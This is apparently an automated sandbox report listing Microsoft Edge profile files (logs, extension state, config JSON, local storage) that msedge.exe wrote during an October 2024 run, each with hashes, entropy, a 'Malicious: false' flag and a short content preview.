Entropy (8bit):	5.125050597087485
Encrypted:	false
SSDEEP:	6:6F7yAB1923oH+Tcwtk2WwnvB2KLlgF7uHG3+q2P923oH+Tcwtk2WwnvIFUv:6BQYebkxwnvFLCB7+v4YebkxwnQFUv
MD5:	3F4EC0304EE30839F659E5433F3DF5CB
SHA1:	01EFB98E6C2DE9E7544D0B3536078A08B86C8C2A
SHA-256:	0080DAEBADD1A76A6991426C4BF9E4B5940DBBC0DCBD6C93467F7BFD7F6F60A7
SHA-512:	AEDE5CB4F32A9E8930FB6318E7FD6CA74AC0C74342968355DE0249BC33FA0917C1D173EC2BCE67B1D132C1A97FFAD89C8F8CFB9D49F62D75F8231545030A1F2F
Malicious:	false
Preview:	2024/10/30-20:18:41.091 21bc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/30-20:18:41.204 21bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324602378341818
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rb:C1gAg1zfvj
MD5:	3B82EAF68FFC71DB2A7CB361801AB51E
SHA1:	263713CCCCDCBCA46D9AB16B298E08611626957C
SHA-256:	65291FC0F8C4B417D4E4593C776F79CC7935C9C5958D235B6F1C0878EE3665B7
SHA-512:	0FC78A11ADDD500B930437269D91E03FDD295E0EF3297ABB93BDB88E00E4C1BCB0B1B321800FEC49FDC88476729C47E413E803E230997BAED7151D9AA1D810E0
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.163294229480916
Encrypted:	false
SSDEEP:	6:6FjCBi34q2P923oH+Tcwt8aPrqIFUt8vFjCJUUJZmw+vFjCG3DkwO923oH+Tcwtc:6EBi34v4YebL3FUt8vELJ/+vEG3D5LYD
MD5:	F35035EE36FF455160A48F44B0F9D385
SHA1:	0ADE383F370DA81877BA97D8E5C0A1289FB0AB1B
SHA-256:	956CF370A93D6C6171806AABED3868C61033346CFDBE38823295C2556A1D86A5
SHA-512:	76A6BA7277BC645FD6FCA182F58EF28A2648C67A4DC790C62FC5B8BE9F6F6E17AB5EE87193B79432DDBC42DE6B1087D1759AF18E35AA9BC045C93358A87B0A8C
Malicious:	false
Preview:	2024/10/30-20:18:34.525 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-20:18:34.526 1e64 Recovering log #3.2024/10/30-20:18:34.527 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.163294229480916
Encrypted:	false
SSDEEP:	6:6FjCBi34q2P923oH+Tcwt8aPrqIFUt8vFjCJUUJZmw+vFjCG3DkwO923oH+Tcwtc:6EBi34v4YebL3FUt8vELJ/+vEG3D5LYD
MD5:	F35035EE36FF455160A48F44B0F9D385
SHA1:	0ADE383F370DA81877BA97D8E5C0A1289FB0AB1B
SHA-256:	956CF370A93D6C6171806AABED3868C61033346CFDBE38823295C2556A1D86A5
SHA-512:	76A6BA7277BC645FD6FCA182F58EF28A2648C67A4DC790C62FC5B8BE9F6F6E17AB5EE87193B79432DDBC42DE6B1087D1759AF18E35AA9BC045C93358A87B0A8C
Malicious:	false
Preview:	2024/10/30-20:18:34.525 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-20:18:34.526 1e64 Recovering log #3.2024/10/30-20:18:34.527 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.151895790476432
Encrypted:	false
SSDEEP:	6:6Fj/F34q2P923oH+Tcwt865IFUt8vFjzH3JZmw+vFjzH3DkwO923oH+Tcwt86+Ud:69N4v4Yeb/WFUt8v5J/+v5D5LYeb/+SJ
MD5:	5627BE007B967609E1026A2E475199BF
SHA1:	E0B32021D812E0A4AAC43459249375D0576E70F7
SHA-256:	C891CBC3BAD44A593BD541C8EA68259C3ED047F47A557BFFA682E08D01778F1F
SHA-512:	DBD87908D900797808DB152C289E1B77C40E81A9D7E92A86F7961FC52F8E758B1D3099BEC18475EE0437CEAC826005F9AF2CD1C09ADBE293D1B9CCABC88F113D
Malicious:	false
Preview:	2024/10/30-20:18:34.530 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-20:18:34.532 1e64 Recovering log #3.2024/10/30-20:18:34.532 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.151895790476432
Encrypted:	false
SSDEEP:	6:6Fj/F34q2P923oH+Tcwt865IFUt8vFjzH3JZmw+vFjzH3DkwO923oH+Tcwt86+Ud:69N4v4Yeb/WFUt8v5J/+v5D5LYeb/+SJ
MD5:	5627BE007B967609E1026A2E475199BF
SHA1:	E0B32021D812E0A4AAC43459249375D0576E70F7
SHA-256:	C891CBC3BAD44A593BD541C8EA68259C3ED047F47A557BFFA682E08D01778F1F
SHA-512:	DBD87908D900797808DB152C289E1B77C40E81A9D7E92A86F7961FC52F8E758B1D3099BEC18475EE0437CEAC826005F9AF2CD1C09ADBE293D1B9CCABC88F113D
Malicious:	false
Preview:	2024/10/30-20:18:34.530 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-20:18:34.532 1e64 Recovering log #3.2024/10/30-20:18:34.532 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.141239527502102
Encrypted:	false
SSDEEP:	6:6FJGcF6L+q2P923oH+Tcwt8NIFUt8vFJMz1Zmw+vFJMlLVkwO923oH+Tcwt8+eLJ:6Xxfv4YebpFUt8vXMz1/+vXMz5LYebqJ
MD5:	892D817ACCEFB4569AC1F9FCD0E9DD9E
SHA1:	9787C28355575D4237E1922EE52CBCEF49039093
SHA-256:	595A732C8FAA430B0DB75B4420807D7188C4A6E56FF0DC7D02D228087CAD4839
SHA-512:	84B295C637CFA72D4474FB0BA8C37348B49075345EADCC19E44DBF7D890A07902F0307299CD3B945397895C97854725754EBADAE34AA9AA1CC728E89D58C353A
Malicious:	false
Preview:	2024/10/30-20:18:36.239 1918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-20:18:36.240 1918 Recovering log #3.2024/10/30-20:18:36.240 1918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.141239527502102
Encrypted:	false
SSDEEP:	6:6FJGcF6L+q2P923oH+Tcwt8NIFUt8vFJMz1Zmw+vFJMlLVkwO923oH+Tcwt8+eLJ:6Xxfv4YebpFUt8vXMz1/+vXMz5LYebqJ
MD5:	892D817ACCEFB4569AC1F9FCD0E9DD9E
SHA1:	9787C28355575D4237E1922EE52CBCEF49039093
SHA-256:	595A732C8FAA430B0DB75B4420807D7188C4A6E56FF0DC7D02D228087CAD4839
SHA-512:	84B295C637CFA72D4474FB0BA8C37348B49075345EADCC19E44DBF7D890A07902F0307299CD3B945397895C97854725754EBADAE34AA9AA1CC728E89D58C353A
Malicious:	false
Preview:	2024/10/30-20:18:36.239 1918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-20:18:36.240 1918 Recovering log #3.2024/10/30-20:18:36.240 1918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:BlLvtFlljq7A/mhWJFuQ3yy7IOWU594dweytllrE9SFcTp4AGbNCV9RUIu:3k75fOp4d0Xi99pEY8
MD5:	BFAD6F06D0C2E479151929CD92B36751
SHA1:	35E07988610E8CA900A6577F3A62879FABFF4752
SHA-256:	4AB0F76C2B7AFD2508ABDED160174BB57237458F276D7E95D88395A322D7B68E
SHA-512:	6DB6AA1BEF8CBBB1F85DEA420D66A8E1B7579CC672608272B7411D99C3F8A59B22B06ED8401F5282F7B502D17A0D9810B4A96E82DE7FE8A664DFDA215C407DA1
Malicious:	false
Preview:	...............*...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647725944899308
Encrypted:	false
SSDEEP:	384:aj9P0KjlUgam6I8P/KbtpQkQerI773pL9cqRKToaADhf:adVlLMP/se2I7sqRKc39
MD5:	8DD28AD022CF2BBEDD831D440417E40E
SHA1:	A6C1D266E165270E9F2D753E932C4EEE59150A48
SHA-256:	A8EEFC640876A6187900F15A7A51FF3D516B0EF1BCBDA4C3085A688C9652ADFE
SHA-512:	A2AC52337B4092D8E7FF1A575D2E12923E7D7AACC5E1AABF80EA01D09C55E6504AF5B641FCA7DF1105A5C2EE5CB980767466056A52931755CCB226D03A57FB68
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.251811292458333
Encrypted:	false
SSDEEP:	12:6Whv4Yeb8rcHEZrELFUt8v61/+v85LYeb8rcHEZrEZSJ:XN4Yeb8nZrExg8y1LYeb8nZrEZe
MD5:	61C89DECC6DD051E8AD7600F900E650F
SHA1:	5FA30151D9220A342F90F9D92A1A1120173690C0
SHA-256:	BED6612526821C8E9231A6F5892FDDD4EBBA57562BC1C176E0B592328684222B
SHA-512:	038F7EEE484B6367F651AA9E2228696E9634E2BF182DCAA17B7C7077089BEF7BC228C197F0BD3A3455512EF3FDCDD25AAD89C1C9FD084C9C794880487F6D0CCA
Malicious:	false
Preview:	2024/10/30-20:18:38.939 1918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-20:18:38.941 1918 Recovering log #3.2024/10/30-20:18:38.941 1918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.251811292458333
Encrypted:	false
SSDEEP:	12:6Whv4Yeb8rcHEZrELFUt8v61/+v85LYeb8rcHEZrEZSJ:XN4Yeb8nZrExg8y1LYeb8nZrEZe
MD5:	61C89DECC6DD051E8AD7600F900E650F
SHA1:	5FA30151D9220A342F90F9D92A1A1120173690C0
SHA-256:	BED6612526821C8E9231A6F5892FDDD4EBBA57562BC1C176E0B592328684222B
SHA-512:	038F7EEE484B6367F651AA9E2228696E9634E2BF182DCAA17B7C7077089BEF7BC228C197F0BD3A3455512EF3FDCDD25AAD89C1C9FD084C9C794880487F6D0CCA
Malicious:	false
Preview:	2024/10/30-20:18:38.939 1918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-20:18:38.941 1918 Recovering log #3.2024/10/30-20:18:38.941 1918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	5.681531953358603
Encrypted:	false
SSDEEP:	48:ltZeZ7X/aXZTMV03Sx41HHHxda2LoEf4Uz/hV:lt45X/YRiWRxLO4
MD5:	8F9B004600046F8C529D3B85D18CEB3E
SHA1:	568C87497134549F53A4DBE2D95A09345487BD1A
SHA-256:	C1EB123CC4EA4D8CB9576FFEEA616AFC2BF1AAD635B68557726475E38F9A0AB7
SHA-512:	99DE28E7F75F0926ABC0C6B348A4E9C0DB98BF48DFFB78DE787D7895BF5480C2A77FA65F3C3E5DF60ACA3DD53497069854C8AD8C31ECEDD6BBE7B49BE51BBDFE
Malicious:	false
Preview:	..H.z................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":625}.!_https://ntp.msn.com..LastKnownPV..1730333924262.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730333925842.._https://ntp.msn.com..MUID!.29FAFED0AE7460922E52EBF9AFD56107.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730333924391,"schedule":[-1,-1,-1,-1,9,21,31],"scheduleFixed":[-1,-1,-1,-1,9,21,31],"simpleSchedule":[20,45,10,40,25,27,36]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730333924223.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241030.344"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1479790693924645
Encrypted:	false
SSDEEP:	6:6Fj/Vq2P923oH+Tcwt8a2jMGIFUt8vFjSVSgZmw+vFjsKSIkwO923oH+Tcwt8a23:6JVv4Yeb8EFUt8v0VSg/+veI5LYeb8bJ
MD5:	4D721DDD5BC0ED9849EA4A5AC4A473A7
SHA1:	A6F69138EA0B1A41F7EE4D34D41AE2054AF3DDEC
SHA-256:	88D7030F1B3B1B5992B269D6436081D46CAB0505BF4336352F805772B432EDD8
SHA-512:	4BD8DAAD397490D88B06C53C893BBA521050E32CE184A7012B2023B351D0215BFE6D6E767BB68BDFB4E1DC883A121F25B1453276D966ECF1F404D6CB311D216C
Malicious:	false
Preview:	2024/10/30-20:18:34.976 1f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-20:18:34.978 1f80 Recovering log #3.2024/10/30-20:18:34.980 1f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1479790693924645
Encrypted:	false
SSDEEP:	6:6Fj/Vq2P923oH+Tcwt8a2jMGIFUt8vFjSVSgZmw+vFjsKSIkwO923oH+Tcwt8a23:6JVv4Yeb8EFUt8v0VSg/+veI5LYeb8bJ
MD5:	4D721DDD5BC0ED9849EA4A5AC4A473A7
SHA1:	A6F69138EA0B1A41F7EE4D34D41AE2054AF3DDEC
SHA-256:	88D7030F1B3B1B5992B269D6436081D46CAB0505BF4336352F805772B432EDD8
SHA-512:	4BD8DAAD397490D88B06C53C893BBA521050E32CE184A7012B2023B351D0215BFE6D6E767BB68BDFB4E1DC883A121F25B1453276D966ECF1F404D6CB311D216C
Malicious:	false
Preview:	2024/10/30-20:18:34.976 1f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-20:18:34.978 1f80 Recovering log #3.2024/10/30-20:18:34.980 1f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\838e3d47-9fff-4d69-83ab-7ba7efc00e8e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8cce7cfa-4b8f-40cb-a45e-c8d2023ca50c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
